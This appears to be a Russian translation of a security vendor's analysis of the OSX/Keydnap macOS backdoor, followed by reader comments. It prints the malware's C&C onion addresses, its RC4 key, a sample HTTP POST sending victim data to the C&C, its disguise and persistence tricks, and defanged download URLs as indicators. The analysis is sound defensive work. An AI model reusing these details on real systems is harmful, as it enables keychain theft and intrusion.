Наши аналитики анализируют множество экземпляров вредоносного ПО для Apple OS X каждый день. В основном, они относятся к типу нежелательных приложений (Potentially Unwanted Applications, PUA), которые специализируются на внедрении рекламы в работающий веб-браузер.



Последние несколько недель мы занимались исследованием одного интересного экземпляра вредоносного ПО, которое специализируется на краже содержимого т. н. связки ключей OS X (keychain), а также выступает как backdoor, предоставляя злоумышленнику доступ к скомпрометированному компьютеру.

Нам не совсем ясно то, каким образом жертвы первоначально заражались OSX/Keydnap. Скорее всего, для этого использовались вредоносные вложения фишинговых сообщений электронной почты, либо вредоносное содержимое на нелегитимных веб-сайтах.

Мы знаем, что компонент загрузчика Keydnap распространяется в виде .zip файла. Архив содержит исполняемый файл формата Mach-O, с расширением похожим на .txt или .jpg. Однако, на самом деле, расширение файла содержит в конце имени символ пробела, что означает запуск файла на исполнения в терминале, после двойного щелчка по нему в оболочке Finder.


Рис. Архив с вредоносным файлом Keydnap и сам вредоносный файл.


Рис. Окно с информацией о файле загрузчика.

Упоминавшийся файл архива также содержит т. н. Resource fork (поток ресурса), который хранит значок исполняемого файла. Используемый значок идентичен тому, который оболочка OS X (Finder) обычно использует для обозначения JPEG файлов изображений или текстовых файлов. Такой метод используется для повышения вероятности того, что пользователь выполнит двойной щелчок на файле. После того как это произойдет, OS X откроет окно терминала и исполнит вредоносную полезную нагрузку.


Рис. Предупреждение веб-браузера Safari, которое отображается пользователю в случае загрузки вышеупомянутого вредоносного файла архива.

Загрузчик Keydnap довольно прост, будучи запущенным он выполняет в системе следующие действия.

  1. Загружает и исполняет в системе компонент бэкдора.
  2. Перезаписывает содержимое файла загрузчика специальным документом-приманкой (decoy), либо перезаписывает его содержимым другого файла, которое закодировано с использованием base64. Этот другой файл или встроен в сам загрузчик или загружается из интернета.
  3. Открывает фальшивый документ.
  4. Закрывает окно терминала, которое было открыто.

После перезаписи загрузчиком исполняемого файла загрузчика документом-приманкой, он все еще будет присутствовать в архиве. Загрузчик не обеспечивает себе выживаемость в системе, в отличие от компонента бэкдора, который использует для этой цели директорию LaunchAgents.

Нами были обнаружено несколько вариантов исполняемых файлов загрузчика. Список его различных образцов можно найти в конце материала.

Интересно отметить, что мы наблюдали свежие образцы загрузчика, которые содержали документы-приманки, представляющие из себя скриншоты панели управления ботнета или номера украденных данных кредитных карт. Это говорит о том, что Keydnap предназначался для пользователей подпольных форумов или для security-ресерчеров. Файлы этих свежих образцов содержали в себе поле «build name» (номер сборки). При этом мы наблюдали три различных имени: elitef*ck, ccshop и transmission.


Рис. Пример изображения приманки.


Рис. Пример изображения приманки.


Рис. Пример изображения приманки.

Все файлы образцов бэкдора, которые мы наблюдали, имели название icloudsyncd. Файл бэкдора содержит в себе строку с версией, которую он отправляет на C&C-сервер. Мы наблюдали две его версии: 1.3.1 в мае 2016 и 1.3.5 в июне.

Файл упоминавшегося загрузчика не упакован и распространяется как есть, а вот бэкдор упакован с использованием модифицированной версии UPX. При этом отличие от оригинального UPX заключается в двух особенностях. Сигнатура «UPX!» в заголовке UPX замещена на «ASS7», а сам оригинальный код и разделы со строками зашифрованы посредством XOR со значением 0x01. Эта операция XOR применяется к содержимому файла после его распаковки и перед передачей управления вредоносному коду.


Рис. Отличия упакованной версии файла при использовании модифицированного UPX и оригинального.

Специальный патч для UPX доступен на репозитории Github в разделе ESET. После его применения, файл с бэкдором Keydnap может быть распакован командой оригинального упаковщика UPX – upx –d.

После своего запуска в системе, бэкдор копирует файл plist в директорию /Library/LaunchAgents/ в случае присутствия у пользователя привилегий root или в директорию $USER/Library/LaunchAgents/ в противном случае. Это обеспечивает выживаемость бэкдора после его перезагрузки. При этом директория Library/Application Support/com.apple.iCloud.sync.daemon используется для хранения исполняемого файла icloudsyncd. В этой директории также будет храниться идентификатор запущенного процесса бэкдора в файле process.id, а также файл build.id с содержимым параметра «build name». Используя привилегии администратора, вредоносная программа также может изменить владельца файла icloudsyncd на root:admin и создать для него параметры setuid и setgid, что будет означать его последующий запуск с правами root.


Рис. Plist-файл вредоносной программы.

Для маскировки расположения своего вредоносного файла, Keydnap заменяет параметр argv[0] на строку /usr/libexec/icloudsyncd –launchd netlogon.bundle. Ниже представлен пример вывода команды ps ax на скомпрометированной системе.

$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]

Результат вывода команды на зараженной системе.

Бэкдор OSX/Keydnap оснащен функциями сбора конфиденциальной информации паролей и ключей OS X keychain (связки ключей), а также отправки этих данных на удаленный сервер. На самом деле автор просто взял для своих целей пример PoC, который доступен на Github под названием Keychaindump. Этот код специализируется на чтении памяти процесса securityd и выполняет поиск ключа расшифровки для доступа к связке ключей пользователя. Этот процесс хорошо описан в следующем исследовании. Одной из причин, по которой мы думаем, что исходные тексты были взяты напрямую с Github является тот факт, что названия функций в исходных текстах и в коде вредоносной программы идентичны.


Рис. Список функций бэкдора, зеленым выделены функции из Keychaindump.

Keydnap использует Tor2Web прокси-сервис onion.to поверх HTTPS для общения с C&C-сервером. Мы наблюдали использование двух onion адресов в различных экземплярах бэкдора.

  • g5wcesdfjzne7255.onion (недоступен)
  • r2elajikcosf7zee.onion (доступен на момент написания материала)

URL-адрес HTTP-запроса всегда начинается с /api/osx/ и используется для выполнения следующих действий:

  • /api/osx/started для отправки отчета об успешном запуске бота;
  • /api/osx/keychain для отправки данных содержимого связки ключей;
  • /api/osx/get_task?bot_id={botid}&version={version} для запроса задачи;
  • /api/osx/cmd_executed для отправки отчета о команде, которая была исполнена;
  • /api/osx/task_complete?bot_id={botid}&task_id={taskid} для отправки статуса завершения исполнения задачи.

Содержимое запроса HTTP POST содержит два поля: bot_id и data. Последнее поле зашифровано с использованием ключа RC4 «u2RLhh+!LGd9p8!ZtuKcN» без кавычек. При отправке на удаленный сервер содержимого связки ключей бэкдор использует поле keychain вместо data.

Ниже показан HTTP POST-запрос, с использованием которого бэкдор отправляет первоначальную информацию на сервер.

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded

bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D


Ниже указаны декодированные данные, полученные бэкдором от управляющего C&C-сервера.

> rc4decrypt(base64decode(«psX0DKYB0u...5TximyY+QY=»), «u2RLhh+!LGd9p8!ZtuKcN»)
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0


Значение bot_id представляет из себя хэш SHA-256 следующих значений.

  • Аппаратный UUID (IOPlatformUUID).
  • Серийный номер системы (IOPlatformSerialNumber).
  • Идентификатор модели Mac (напр. MacBookPro9,2)

Большинство названий, выполняемых бэкдором операций, говорят сами за себя. Первоначальная команда используется для отправки следующей информации на управляющий C&C-сервер.

  • device_model: идентификатор модели устройства;
  • bot_version: версия Keydnap;
  • build_name: значение поля «номера сборки» (build number) загрузчика;
  • os_version: версия ядра OS X или macOS;
  • ip_address: внешний IP-адрес компьютера, который был получен с помощью ipify.org;
  • has_root: поле установлено в 1 в случае исполнения бэкдора под учетной записью root и 0 в противном случае.

Ответ на команду бота get_task содержит целочисленное значение, которое указывает на тип отправляемой боту команды и необязательные аргументы. Функция под названием get_and_execute_tasks работает с десятью различными типами команд, они указаны ниже в таблице.



Последние две команды, указанные в таблице, выделяются среди прочих. Команда с идентификатором 8 может быть отправлена бэкдору при том условии, что он еще не запущен под учетной записью root. После получения этой команды, бэкдор начнет подсчитывать количество запусков пользователем процессов в системе. Когда в системе в течение двух секунд запускаются два новых процесса, Keydnap покажет пользователю окно с запросом учетных данных пользователя. Это окно очень похоже на то, которое пользователь OS X видит при запросе приложением прав администратора. В случае ввода пользователем данных учетной записи, бэкдор будет работать под учетной записью root, а содержимое связки ключей будет похищено.


Рис. Код бэкдора, который подсчитывает количество запуска процессов пользователем.


Рис. Фальшивое окно с запросом учетных данных администратора.

Мы не знаем, каким образом исполняемый файл authd_service обрабатывается командой 9, так как мы не наблюдали использование этой команды ботом. Возможно, эта команда используется для организации третьего уровня атаки на цели, представляющие интерес для злоумышленников.

Заключение

У нас нет достаточно информации для того, чтобы сказать каким именно образом распространялся Keydnap. Мы также не знаем какое количество пользователей подверглось компрометации этим вредоносным ПО. Несмотря на то, что OS X имеет в своем составе специальные механизмы безопасности для блокирования вредоносной активности, фишинговые методы обмана пользователей могут помочь злоумышленникам обмануть пользователей с помощью фальшивого значка исполняемого файла Mach-O, что приведет к запуску в системе вредоносной программы.

Индикаторы компрометации (IoC)

Ниже представлены экземпляры загрузчика Keydnap, которые обнаруживаются антивирусными продуктами ESET как OSX/TrojanDownloader.Keydnap.A.

Хэш SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
Название файла: «info_list.txt »
Дата первой публикации на VirusTotal: 2016-05-09
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: часто задаваемые вопросы на собеседовании

Хэш SHA-1: 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a
Название файла: «screenshot_2016-06-28-01.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления BlackHat-TDS

Хэш SHA-1: 773a82343367b3d09965f6f09cc9887e7f8f01bf
Название файла: «screenshot.jpg»
Дата первой публикации на VirusTotal: 2016-05-07
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншоты веб-браузера Firefox 20

Хэш SHA-1: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc

Хэш SHA-1: 2739170ed195ff1b9f00c44502a21b5613d08a58
Название файла: «CVdetails.doc »
Дата первой публикации на VirusTotal: 2016-05-03
URL-адрес загрузки компонента бэкдора: hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd
Тема фальшивого изображения или URL-адрес: hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc

Хэш SHA-1: e9d4523d9116b3190f2068b1be10229e96f21729
Название файла: «logo.jpg»
Дата первой публикации на VirusTotal: 2016-06-02
URL-адрес загрузки компонента бэкдора: hxxp://dev.aneros.com/media/icloudsyncd
Тема фальшивого изображения или URL-адрес: значок sanelite

Хэш SHA-1: 7472102922f91a78268430510eced1059eef1770
Название файла: «screenshot_9324 2.jpg »
Дата первой публикации на VirusTotal: 2016-06-28
URL-адрес загрузки компонента бэкдора: hxxp://freesafesoft.com/icloudsyncd
Тема фальшивого изображения или URL-адрес: скриншот панели управления ботнетом

Ниже представлена информация об экземплярах компонента бэкдора Keydnap.

Хэш SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://g5wcesdfjzne7255.onion.to
Версия бэкдора: 1.3.1

Хэш SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://r2elajikcosf7zee.onion.to
Версия бэкдора: 1.3.5
Поделиться с друзьями
-->

Комментарии (7)


  1. lostpassword
    13.07.2016 16:12
    +1

    содержит в конце имени символ пробела, что означает запуск файла на исполнения в терминале
    Серьёзно? В macOS для запуска файла на выполнение даже расширение менять не нужно — достаточно пробел написать?!
    Первый раз о таком слышу. Жесть какая-то.


    1. Iora
      13.07.2016 16:53
      +2

      На самом деле это не совсем так. В OS X Finder не удаляет пробелы в конце имени файла. Таким образом, ".jpg" это картинка, а ".jpg " — уже нет. И теперь, с пробелом в конце это «расширение» становится частью имени файла. Почему так было сделано, я не знаю. Finder видит, что это исполнимый файл (по структуре) и запускает, это же Unix, здесь у исполнимых файлов нет расширения ".exe", как в винде.

      К слову сказать, даже в статье видно, что Safari предупреждает об опасности файла, кроме этого, я почти уверен, в большинстве случаев запустить файл не даст и сама ОС, так как файл не подписан. По умолчанию в OS X запускаются только файлы из AppStore, в настройках можно указать, что также могут быть запущены все файлы с подписью, независимо от источника или вообще все файлы (ни разу не видел, чтобы у кого-то были разрешены вообще все файлы). Более того, чтобы разрешить запуск подозрительного файла нужно зайти в настройки и там явно разрешить запуск конкретного файла. Короче, чтобы запустить вирус под маком надо проигнорировать предупреждение браузера, залезть в настройки, разрешить запуск недоверенных программ, разрешить запуск конкретной программы, причем на протяжении всех этих действий у пользователя не должно возникнуть мысли о том, почему это так сложно открыть картинку. Другими словами, чтобы заразиться этим надо постараться, а тех, кто отключает защиту и так не жалко.


      1. lostpassword
        13.07.2016 19:00
        -1

        Ну это и про Windows совершенно то же можно сказать. «Вы действительно хотите разрешить этой программе внести изменения на Вашем компьютере?»)

        P.S. Понятно, что расширение меняется. Но разрешать пробелы в конце расширения — это, ИМХО, довольно хороший, годный способ разрешить пользователю стрелять себе в ногу.)


        1. svanichkin
          14.07.2016 00:35
          +1

          Это очередной ужастик от разоблачителей… Даже если юзер в настройках заранее поставил «Разрешить использование программ с любого источника» то для запуска ему все равно придётся принудительно лезть в настройки, что бы разлочить панель своим логином паролем и только после этого разрешить запуск именно этого конкретного файла. Как выше написали, для картинки слишком сложно, а подобного рода «байки из склепа» я слышу с 2008 года довольно часто и доволько часто понимаю что это очередная попытка Касперского зайти на рынок Mac, из стремительно схлопывающегося рынка WinPC. И не говорите мне что Касперский здесь ни при чём )


          1. Iora
            14.07.2016 11:10
            -1

            Это если не вспоминать про то, что картинки в FIdner-е можно смотреть, жмакая на них пробелом, что не приводит к запуску программ никогда, только к показу о них информации.


          1. PavelPV
            14.07.2016 12:59

            В настройки лезть не нужно, как и разрешать запуск из любого источника.
            Достаточно вызвать контекстное меню Finder и выбрать пункт «Открыть».


            1. svanichkin
              14.07.2016 14:00

              Если речь про подписанные приложения, то ваше утверждение верно. Для неподписанных, превый запуск должен быть подтвержден из панели управления и никак иначе.